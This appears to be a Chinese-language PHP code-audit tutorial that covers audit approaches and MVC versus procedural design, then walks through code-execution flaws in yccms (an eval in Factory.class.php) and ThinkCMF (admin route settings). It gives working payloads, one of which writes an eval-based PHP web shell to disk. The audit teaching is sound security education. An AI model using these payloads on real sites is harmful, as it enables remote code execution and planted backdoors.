自适应网站 与响应式/免费的网站平台

准备工作

了解CMS的基本信息

1. 该CMS使用的是什么设计模式？
2. 该CMS每个目录大概负责的功能(视图、缓存、控制器等)。
3. 该CMS处理请求的基本流程是如何走的？
4. 以及在系统中使用的全局过滤函数是如何对数据进行处理的？

代码审计方法

敏感函数回溯

大多数的漏洞主要是php的函数的使用不当造成的，只要找到这些使用不当的函数，就可以快速的发现想要挖掘的漏洞。

定向功能分析

该方法主要是根据程序的业务逻辑和业务功能进行审计的。

通读全文

通过对整个项目的代码进行阅读从而发现问题，这种方法是最全面的但也是最麻烦的。

PHP开发模式

常见的程序编写模式

1. 面向过程写法的程序，常见的普通类型
2. 常见的PHP框架，如Thinkphp、Laravel、Yii。
3. 基于原框架上经过二次开发的PHP框架，如Thinkcmf、ThinkBlog。
4. 企业自行开发的自用的框架。

总的来说一种是基于MVC(M:模型、V:视图、C:控制器)模型开发的程序，一种是普通面向过程的开发程序，针对不同的设计模式的系统我们应该采用不同的方法做审计。

普通程序设计模式

• 安全性较低，维护困难常常会出现安全性问题，开发者必须在每个文件开头加上include。
• 分析回溯较为简单，没有复杂的函数转发。
• URL模式：http://localhost/test.php
• 可维护性较低。
• 写法多基于原生代码。
• 可以利用Seay代码审计工具辅助做代码审计。

MVC程序设计模式

• 安全性较高，大团队开发维护，单入口应用安全性好，只需要统一在入口处做好过滤即可。
• 分析回溯较为复杂，复杂的函数转发。
• URL模式：http://localhost/index.php?m=home&c=user&a=login，http://localhost/index.php/home/user/login
• 可维护性较高
• 写法多基于已封装好的函数，使用方便简单，减少代码冗余。
• 手工审计更为实际，工具只能起到辅助作用。

yccms代码执行

用Fortify扫描后发现三个高危代码执行漏洞，针对最后一个漏洞，分析一下\public\class\Factory.class.php文件

	static public function setModel() {$_a = self::getA();if (file_exists(ROOT_PATH.'/model/'.$_a.'Model.class.php')) eval('self::$_obj = new '.ucfirst($_a).'Model();');return self::$_obj;}static public function getA(){if(isset($_GET['a']) && !empty($_GET['a'])){return $_GET['a'];}return 'login';}

getA()方法接受a的参数，作为加载模型的文件名，如果该文件存在则执行eval函数实例化该模型。回溯查找setModel()方法，在\controller\Action.class.php中找到了，在加载Action类时会执行该类的构造函数，从而执行setModel()方法。

class Action {protected $_tpl = null;protected $_model = null;	protected function __construct() {$this->_tpl = TPL::getInstance();$this->_model = Factory::setModel();Tool::setRequest(); //表单转义和html过滤	}

在\Controller\ArticleAction.class.php中可以发现ArticleAction类继承了Action类，并调用了父类的构造方法，可以通过访问此类的方法并构造合适的payload去触发漏洞

<?php
//文章控制器
class ArticleAction extends Action{private $_total='';public function __construct(){parent::__construct();$this->_sys=new SystemModel();$this->_model=new ArticleModel();}

一个个控制器找，找到了直接实例化SearchAction方法的类，这里明显调用了我们正好需要的方法，这样一来就可以访问到最开始的EVAL函数了。

<?php
//require str_replace('\\','/',substr(dirname(__FILE__),0,-7)).'/config/run.inc.php';
define('ROOT_PATH',str_replace('\\','/',substr(dirname(__FILE__),0,-7))); 
require ROOT_PATH.'/config/config.inc.php';
require ROOT_PATH.'/public/smarty/Smarty.class.php';
//自动加载类
function __autoload($_className){if(substr($_className,-6)=='Action'){require ROOT_PATH.'/controller/'.ucfirst($_className).'.class.php';}elseif(substr($_className, -5) == 'Model'){require ROOT_PATH.'/model/'.ucfirst($_className).'.class.php';}else{require ROOT_PATH.'/public/class/'.ucfirst($_className).'.class.php';}
}
$_tpl=TPL::getInstance();
$_search=new SearchAction();
$_search->index();
?>

回到最开始的地方，首先要经过file_exists函数，再经过ucfirst函数，ucfirst函数是将首字母转换成大写。file_exists函数只要目录存在文件不存在结果也为真的

<?php
echo file_exists("f://test/../../");
?>

最终Payload构造为：yccms/search/index.php?a=AdminModel();phpinfo();//../，AdminModel();用来闭合前面的实例化，phpinfo();是我们要执行的代码，//用来注释后面的多余代码，…/用来返回上一级目录。

ThinkCMF框架

各目录功能

api

api目录

app

应用目录

portal

门户应用目录

config.php

应用配置文件

common.php

模块函数文件

controller

控制器目录

model

模型目录

common.php

应用公共(函数)文件

config.php

应用(公共)配置文件

database.php

数据库配置文件

route.php

路由配置文件

public

WEB 部署目录（对外访问目录）

api

api入口目录

plugins

插件目录

static

静态资源存放目录(css,js,image)

themes

前后台主题目录

upload

文件上传目录

index.php

入口文件

robots.txt

爬虫协议文件

router.php

快速测试文件

.htaccess apache

重写文件

simplewind

cmf

CMF核心库目录

extend

扩展类库目录

thinkphp

thinkphp目录

vendor

第三方类库目录（Composer）

代码执行漏洞

当在后台【URL美化】功能中插入PHP代码保存后，重新访问该页面PHP代码会被执行，在public下创建11.php，导致产生代码执行漏洞。

尝试抓包，看看我们在保存设置到最后执行PHP代码之间经历了什么

一共提交了两个请求，第一个请求提交到admin目录下route控制器中的editpost方法

该方法是用来接收参数后更新到数据库。流程应该就是当某个URL地址被访问后，路由机制会从数据出中读取是否存在该URL的地址转发，如果有，则访问到相对应的路径。

第二个请求对route表中的数据排序后调用getRoutes方法

跟进getRoutes方法

最后构造payload:'.file_put_contents('1.php','<?php @eval($_POST[1]); ?>').'